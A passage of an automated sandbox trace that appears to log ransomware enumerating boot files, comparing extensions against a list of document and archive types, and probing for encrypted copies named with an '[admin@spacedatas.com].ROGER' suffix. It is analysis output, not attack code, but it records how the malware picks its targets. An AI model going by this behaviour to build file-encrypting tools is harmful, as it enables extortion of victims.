lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0037.188] lstrlenW (lpString=".xls") returned 4 [0037.188] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0037.188] lstrlenW (lpString=".xlsx") returned 5 [0037.188] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0037.188] lstrlenW (lpString=".ppt") returned 4 [0037.188] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0037.188] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0037.188] lstrlenW (lpString=".zip") returned 4 [0037.188] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0037.188] lstrlenW (lpString=".rar") returned 4 [0037.188] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0037.188] lstrlenW (lpString=".bz2") returned 4 [0037.189] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0037.189] lstrlenW (lpString=".7z") returned 3 [0037.189] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0037.189] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0037.189] lstrlenW (lpString=".dbf") returned 4 [0037.189] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0037.189] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0037.189] lstrlenW (lpString=".1cd") returned 4 [0037.189] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0037.189] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0037.189] lstrlenW (lpString=".jpg") returned 4 [0037.189] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0037.189] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0037.189] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0037.189] lstrlenW (lpString=".doc") returned 4 [0037.189] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0037.189] lstrlenW (lpString=".docx") returned 5 [0037.189] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0037.189] lstrlenW (lpString=".pdf") returned 4 [0037.189] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0037.189] lstrlenW (lpString=".xls") returned 4 [0037.189] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0037.189] lstrlenW (lpString=".xlsx") returned 5 [0037.189] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0037.189] lstrlenW (lpString=".ppt") returned 4 [0037.189] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0037.189] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0037.189] lstrlenW (lpString=".zip") returned 4 [0037.189] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0037.189] lstrlenW (lpString=".rar") returned 4 [0037.189] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0037.189] lstrlenW (lpString=".bz2") returned 4 [0037.189] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0037.189] lstrlenW (lpString=".7z") returned 3 [0037.190] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0037.190] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0037.190] lstrlenW (lpString=".dbf") returned 4 [0037.190] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0037.190] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0037.190] lstrlenW (lpString=".1cd") returned 4 [0037.190] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0037.190] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0037.190] lstrlenW (lpString=".jpg") returned 4 [0037.190] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0037.190] lstrcmpiW (lpString1=".LOG1", lpString2=".ROGER") returned -1 [0037.190] lstrlenW (lpString="BCD.LOG1") returned 8 [0037.190] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0037.190] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=0) returned 1 [0037.190] CloseHandle (hObject=0x34c) returned 1 [0037.190] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.190] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.190] lstrlenW (lpString=".doc") returned 4 [0037.190] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0037.191] lstrlenW (lpString=".docx") returned 5 [0037.191] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0037.191] lstrlenW (lpString=".pdf") returned 4 [0037.191] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0037.191] lstrlenW (lpString=".xls") returned 4 [0037.191] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0037.191] lstrlenW (lpString=".xlsx") returned 5 [0037.191] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0037.191] lstrlenW (lpString=".ppt") returned 4 [0037.191] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0037.191] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.191] lstrlenW (lpString=".zip") returned 4 [0037.191] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0037.191] lstrlenW (lpString=".rar") returned 4 [0037.191] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0037.191] lstrlenW (lpString=".bz2") returned 4 [0037.191] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0037.191] lstrlenW (lpString=".7z") returned 3 [0037.191] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0037.191] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.191] lstrlenW (lpString=".dbf") returned 4 [0037.191] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0037.191] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.191] lstrlenW (lpString=".1cd") returned 4 [0037.191] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0037.191] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.191] lstrlenW (lpString=".jpg") returned 4 [0037.191] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0037.191] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.191] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.191] lstrlenW (lpString=".doc") returned 4 [0037.191] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0037.191] lstrlenW (lpString=".docx") returned 5 [0037.191] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0037.192] lstrlenW (lpString=".pdf") returned 4 [0037.192] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0037.192] lstrlenW (lpString=".xls") returned 4 [0037.192] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0037.192] lstrlenW (lpString=".xlsx") returned 5 [0037.192] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0037.192] lstrlenW (lpString=".ppt") returned 4 [0037.192] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0037.192] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.192] lstrlenW (lpString=".zip") returned 4 [0037.192] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0037.192] lstrlenW (lpString=".rar") returned 4 [0037.192] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0037.192] lstrlenW (lpString=".bz2") returned 4 [0037.192] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0037.192] lstrlenW (lpString=".7z") returned 3 [0037.192] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0037.192] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.192] lstrlenW (lpString=".dbf") returned 4 [0037.192] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0037.192] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.192] lstrlenW (lpString=".1cd") returned 4 [0037.192] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0037.192] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0037.192] lstrlenW (lpString=".jpg") returned 4 [0037.192] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0037.192] lstrcmpiW (lpString1=".LOG2", lpString2=".ROGER") returned -1 [0037.192] lstrlenW (lpString="BCD.LOG2") returned 8 [0037.192] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0037.193] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=0) returned 1 [0037.193] CloseHandle (hObject=0x34c) returned 1 [0037.193] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.193] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.193] lstrlenW (lpString=".doc") returned 4 [0037.193] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0037.193] lstrlenW (lpString=".docx") returned 5 [0037.193] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0037.193] lstrlenW (lpString=".pdf") returned 4 [0037.193] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0037.193] lstrlenW (lpString=".xls") returned 4 [0037.193] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0037.193] lstrlenW (lpString=".xlsx") returned 5 [0037.193] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0037.193] lstrlenW (lpString=".ppt") returned 4 [0037.193] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0037.193] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.193] lstrlenW (lpString=".zip") returned 4 [0037.193] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0037.193] lstrlenW (lpString=".rar") returned 4 [0037.193] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0037.193] lstrlenW (lpString=".bz2") returned 4 [0037.193] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0037.193] lstrlenW (lpString=".7z") returned 3 [0037.193] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0037.193] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.193] lstrlenW (lpString=".dbf") returned 4 [0037.193] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0037.193] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.193] lstrlenW (lpString=".1cd") returned 4 [0037.194] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0037.194] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.194] lstrlenW (lpString=".jpg") returned 4 [0037.194] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0037.194] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.194] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.194] lstrlenW (lpString=".doc") returned 4 [0037.194] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0037.194] lstrlenW (lpString=".docx") returned 5 [0037.194] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0037.194] lstrlenW (lpString=".pdf") returned 4 [0037.194] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0037.194] lstrlenW (lpString=".xls") returned 4 [0037.194] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0037.194] lstrlenW (lpString=".xlsx") returned 5 [0037.194] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0037.194] lstrlenW (lpString=".ppt") returned 4 [0037.194] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0037.194] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.194] lstrlenW (lpString=".zip") returned 4 [0037.194] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0037.194] lstrlenW (lpString=".rar") returned 4 [0037.194] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0037.194] lstrlenW (lpString=".bz2") returned 4 [0037.194] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0037.194] lstrlenW (lpString=".7z") returned 3 [0037.194] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0037.194] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.195] lstrlenW (lpString=".dbf") returned 4 [0037.195] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0037.195] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.195] lstrlenW (lpString=".1cd") returned 4 [0037.195] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0037.195] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0037.195] lstrlenW (lpString=".jpg") returned 4 [0037.195] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0037.195] lstrcmpiW (lpString1=".mui", lpString2=".ROGER") returned -1 [0037.195] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.195] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0037.195] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=89168) returned 1 [0037.195] CloseHandle (hObject=0x34c) returned 1 [0037.195] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0037.195] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.195] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.195] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0037.195] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0037.195] lstrlenW (lpString=".doc") returned 4 [0037.196] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.196] lstrlenW (lpString=".docx") returned 5 [0037.196] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.196] lstrlenW (lpString=".pdf") returned 4 [0037.196] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.196] lstrlenW (lpString=".xls") returned 4 [0037.196] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.196] lstrlenW (lpString=".xlsx") returned 5 [0037.196] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.196] lstrlenW (lpString=".ppt") returned 4 [0037.196] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.196] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0037.196] lstrlenW (lpString=".zip") returned 4 [0037.196] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.196] lstrlenW (lpString=".rar") returned 4 [0037.196] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.196] lstrlenW (lpString=".bz2") returned 4 [0037.196] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.196] lstrlenW (lpString=".7z") returned 3 [0037.196] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.196] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0037.196] lstrlenW (lpString=".dbf") returned 4 [0037.196] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.196] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0037.196] lstrlenW (lpString=".1cd") returned 4 [0037.196] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.196] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0037.196] lstrlenW (lpString=".jpg") returned 4 [0037.196] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.196] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0037.196] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0037.196] lstrlenW (lpString=".doc") returned 4 [0037.196] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.196] lstrlenW (lpString=".docx") returned 5 [0037.197] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.197] lstrlenW (lpString=".pdf") returned 4 [0037.197] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.197] lstrlenW (lpString=".xls") returned 4 [0037.197] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.197] lstrlenW (lpString=".xlsx") returned 5 [0037.197] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.197] lstrlenW (lpString=".ppt") returned 4 [0037.197] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.197] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0037.197] lstrlenW (lpString=".zip") returned 4 [0037.197] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.197] lstrlenW (lpString=".rar") returned 4 [0037.197] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.197] lstrlenW (lpString=".bz2") returned 4 [0037.197] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.197] lstrlenW (lpString=".7z") returned 3 [0037.197] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.197] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0037.197] lstrlenW (lpString=".dbf") returned 4 [0037.197] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.197] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0037.197] lstrlenW (lpString=".1cd") returned 4 [0037.197] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.197] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0037.197] lstrlenW (lpString=".jpg") returned 4 [0037.197] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.197] lstrcmpiW (lpString1=".mui", lpString2=".ROGER") returned -1 [0037.197] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.197] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0037.198] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=87616) returned 1 [0037.198] CloseHandle (hObject=0x34c) returned 1 [0037.198] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0037.198] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.198] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.198] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0037.198] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0037.198] lstrlenW (lpString=".doc") returned 4 [0037.198] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.198] lstrlenW (lpString=".docx") returned 5 [0037.198] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.198] lstrlenW (lpString=".pdf") returned 4 [0037.198] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.198] lstrlenW (lpString=".xls") returned 4 [0037.198] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.198] lstrlenW (lpString=".xlsx") returned 5 [0037.198] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.198] lstrlenW (lpString=".ppt") returned 4 [0037.198] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.198] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0037.198] lstrlenW (lpString=".zip") returned 4 [0037.198] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.198] lstrlenW (lpString=".rar") returned 4 [0037.198] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.198] lstrlenW (lpString=".bz2") returned 4 [0037.198] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.199] lstrlenW (lpString=".7z") returned 3 [0037.199] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.199] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0037.199] lstrlenW (lpString=".dbf") returned 4 [0037.199] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.199] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0037.199] lstrlenW (lpString=".1cd") returned 4 [0037.199] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.199] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0037.199] lstrlenW (lpString=".jpg") returned 4 [0037.199] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.199] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0037.199] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0037.199] lstrlenW (lpString=".doc") returned 4 [0037.199] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.199] lstrlenW (lpString=".docx") returned 5 [0037.199] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.199] lstrlenW (lpString=".pdf") returned 4 [0037.199] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.199] lstrlenW (lpString=".xls") returned 4 [0037.199] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.199] lstrlenW (lpString=".xlsx") returned 5 [0037.199] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.199] lstrlenW (lpString=".ppt") returned 4 [0037.199] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.199] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0037.199] lstrlenW (lpString=".zip") returned 4 [0037.199] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.199] lstrlenW (lpString=".rar") returned 4 [0037.199] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.199] lstrlenW (lpString=".bz2") returned 4 [0037.199] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.199] lstrlenW (lpString=".7z") returned 3 [0037.199] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.200] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0037.200] lstrlenW (lpString=".dbf") returned 4 [0037.200] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.200] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0037.200] lstrlenW (lpString=".1cd") returned 4 [0037.200] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.200] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0037.200] lstrlenW (lpString=".jpg") returned 4 [0037.200] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.200] lstrcmpiW (lpString1=".mui", lpString2=".ROGER") returned -1 [0037.200] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0037.200] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0037.200] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=91712) returned 1 [0037.200] CloseHandle (hObject=0x34c) returned 1 [0037.200] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0037.200] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.200] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0037.200] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0037.200] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0037.200] lstrlenW (lpString=".doc") returned 4 [0037.201] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0037.201] lstrlenW (lpString=".docx") returned 5 [0037.201] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0037.201] lstrlenW (lpString=".pdf") returned 4 [0037.201] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0037.201] lstrlenW (lpString=".xls") returned 4 [0037.201] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0037.201] lstrlenW (lpString=".xlsx") returned 5 [0037.201] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0037.201] lstrlenW (lpString=".ppt") returned 4 [0037.201] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0037.201] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0037.201] lstrlenW (lpString=".zip") returned 4 [0037.201] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0037.201] lstrlenW (lpString=".rar") returned 4 [0037.201] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0037.201] lstrlenW (lpString=".bz2") returned 4 [0037.201] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0037.201] lstrlenW (lpString=".7z") returned 3 [0037.201] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0037.201] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0037.201] lstrlenW (lpString=".dbf") returned 4 [0037.201] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0037.201] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0037.201] lstrlenW (lpString=".1cd") returned 4 [0037.201] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0037.201] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0037.201] lstrlenW (lpString=".jpg") returned 4 [0037.201] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0037.201] lstrlenW 